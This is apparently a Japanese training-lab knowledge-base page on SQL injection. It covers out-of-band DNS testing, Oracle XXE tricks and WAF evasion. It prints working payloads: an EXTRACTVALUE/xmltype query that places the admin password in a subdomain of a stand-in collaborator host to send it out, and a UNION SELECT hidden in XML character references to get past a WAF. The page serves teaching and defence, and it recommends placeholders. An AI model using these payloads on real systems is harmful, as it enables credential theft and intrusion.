utsuroi sqli labs 知識ベース 05 / 05 — OAST と回避
OAST & Filter Bypass · Knowledge Base
05

OAST と回避

When DNS becomes a side channel, when WAFs become decoration

応答にもエラーにも時間にも反映されない、完全に静かな脆弱性でも、外部 DNS チャネルを経由すれば情報は取れます。最後に、WAF を XML 数値文字参照で回避する手法——「同じ文字列を別レイヤが別物として読む」古典的アンチパターン。

1. OAST とは何か #oast-concept

Out-of-band — 表口ではなく裏口で観測する。

OAST = Out-of-band Application Security Testing。HTTP の応答(画面、エラー、時間)に反映されない動作を、別のチャネル(DNS、HTTP 外部リクエスト、SMTP メールなど)経由で観測する手法。

Lab 16〜17 のような完全不可視ケース——クエリが非同期で、結果が応答に反映されず、エラーも握りつぶされ、時間遅延も観測しにくい状況——でも、「DB から外部に DNS 問合せが飛ぶ」という事実はサーバの外側から観測できます。

攻撃者の SQLi
   ↓
DB(被害サーバ)が外部 DNS に問合せ
   ↓
攻撃者が制御する DNS サーバにログ記録
   ↓
攻撃者がログを見る → 攻撃成功確認

2. DNS 経由の通信観測 #dns-mechanics

「ドメイン名を解決する」だけでログが残る。

DNS は「ドメイン名 → IP アドレス」の変換システム。example.com という名前を IP に解決するには、example.com ドメインを管理する権威 DNS サーバへの問合せが発生します。

攻撃者が attacker-domain.com というドメインを所有していて、その権威 DNS サーバを自分で運用していたら——誰かが xxx.attacker-domain.com を解決しようとした事実が全部記録されます。

被害サーバ内の DB に「secret-value.attacker-domain.com を解決しろ」と命令する SQL を注入すれば、secret-value が DNS ログに残ります。HTTP 応答を見ずにデータを抜く、という発想。

3. Burp Collaborator #collaborator

攻撃者用の使い捨て DNS+HTTP サーバ。

PortSwigger が提供する Burp Suite Professional の機能で、ランダムな使い捨てサブドメインを生成し、そのサブドメインへの DNS / HTTP / SMTP 通信を全部記録してくれるサービスです。

攻撃者は xxxxxx.burpcollaborator.net のような URL を Burp から取得し、SQLi ペイロードに埋め込みます。被害サーバが解決を試みれば、Burp の管理画面に問合せログが出ます。

本サイトの Lab 16〜17 では Burp Collaborator の代わりに utsuroi-collab.example という疑似コラボレータを使用。実際の DNS は飛ばず、ペイロード解析でログ生成をシミュレートします。

4. Oracle XXE トリック(Lab 16) #xxe-trigger

XML パーサに DNS を引かせる古典技。

Oracle DB は xmltype 関数で XML を扱える機能を持っており、その XML パーサが外部エンティティ参照を解決しようとする挙動を悪用します(XXE = XML External Entity)。

-- DTD 内で外部エンティティ "remote" を定義し、それを参照
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % remote SYSTEM "http://test.collab-domain.example/">
  %remote;
]>'), '/l') FROM dual

Oracle の XML パーサが SYSTEM URL を解決しようとして、test.collab-domain.example への DNS 問合せが発生。攻撃者の DNS ログに記録される。

意味的には「XML を読むついでに外部のリソースを取りに行く」機能を、誰も望んでいないシナリオで誤発火させる手口。XXE は本来 XML の機能であり、SQL の機能ではない——でも Oracle DB の中で XML パーサが動いているから、SQL から間接的に呼び出せる。

5. OAST でデータ漏洩(Lab 17) #oast-exfil

DNS サブドメインに秘密値を埋め込む。

Lab 16 はトリガーするだけ(DNS が飛んだ事実 = SQLi 脆弱性ありの確認)。Lab 17 は値を取り出します。SYSTEM URL の中にサブクエリを連結:

SELECT EXTRACTVALUE(xmltype('<?xml ...>
<!DOCTYPE root [
  <!ENTITY % a SYSTEM "http://'
  || (SELECT password FROM users WHERE username='admin') ||
  '.collab-domain.example/">
  %a;
]>'), '/l') FROM dual

DB 側で文字列連結が解決されて「http://<admin の password>.collab-domain.example/」という URL ができる。これを XML パーサが解決しようとして DNS 問合せが発生し、サブドメイン部分に admin の password が含まれた状態でコラボレータに記録されます。

サブドメインの制限

DNS のサブドメインは英数字・ハイフン・ドットのみ、各ラベル63文字、合計253文字までという制限があります。記号を含む値はそのまま埋められないので、攻撃者は HEX エンコードや Base32 を使って制限を回避します(本ラボでは簡略化のためエンコードなし)。

6. WAF の役割と限界 #waf

WAF は鎧、根本治療ではない。

WAF(Web Application Firewall)は、Web アプリケーション宛のリクエストを検査して、SQLi/XSS など既知の攻撃パターンを含むリクエストを遮断するセキュリティ製品です。リクエストボディや URL に SELECTUNIONOR 1=1 といった文字列が含まれていれば、アプリケーションに届く前にブロックします。

ただし WAF はパターンマッチングに基づくため、根本対策ではありません。回避手法は無数にあり:

IPA「安全なウェブサイトの作り方」も WAF を「保険的な対策」と位置付け、根本対策(プレースホルダ等)とセットで使うべきとしています。

7. XML 文字参照によるフィルタ回避(Lab 18) #xml-bypass

WAF が見るのは生、アプリが見るのはデコード後。

Lab 18 は XML POST エンドポイントで、WAF がリクエストボディに SELECTUNION 等の SQL キーワードを検出すると遮断する設定。生のキーワードは弾かれます:

<productId>1 UNION SELECT username,password FROM users--</productId>
                ↑ WAF が検出して 403 で遮断

でも XML 数値文字参照(&#x53; = S など)を使えば:

<productId>1 &#x55;&#x4e;&#x49;&#x4f;&#x4e; &#x53;&#x45;&#x4c;&#x45;&#x43;&#x54;
              username,password &#x46;&#x52;&#x4f;&#x4d; users--</productId>
                                                              ↑ WAF はパターンを認識できず通過

WAF の正規表現は生のテキスト &#x55;&#x4e;... を見るので、ここに UNION という単語は存在しない(ように見える)。リクエストはアプリケーションに到達する。アプリ側の XML パーサが文字参照をデコードして UNION に変換し、SQL に渡される——攻撃成立。

8. 複数レイヤのエンコーディング問題 #layered-encoding

「同じデータが、レイヤごとに別物に見える」を悪用する。

Lab 18 の根底にある問題は、Web アプリケーションが複数レイヤを通っており、各レイヤで「同じバイト列が異なる意味を持つ」点。

各レイヤが独立に判断するため、WAF が「これは安全」と判断したリクエストが、後段のレイヤで攻撃に変わる。これは XML だけの話ではなく、URL エンコード、HTML エンティティ、Unicode 正規化、JSON エスケープなどでも同様の問題が起きます。

根本対策は「WAF だけに依存せず、各レイヤで適切な処理をする」。XML を受け取るならパース後の値に対してプレースホルダで SQL 実行する、URL を受け取るならデコード後にバリデーションする、など。

参考: IPA「安全なウェブサイトの作り方」

IPA は SQLi 対策として「根本的解決(プレースホルダ)」と「保険的対策(WAF、エラー非表示、最小権限)」を区別しています。WAF だけで防御するのではなく、根本対策と組み合わせる多層防御の発想が重要。

IPA「安全なウェブサイトの作り方 — 1.1 SQL インジェクション」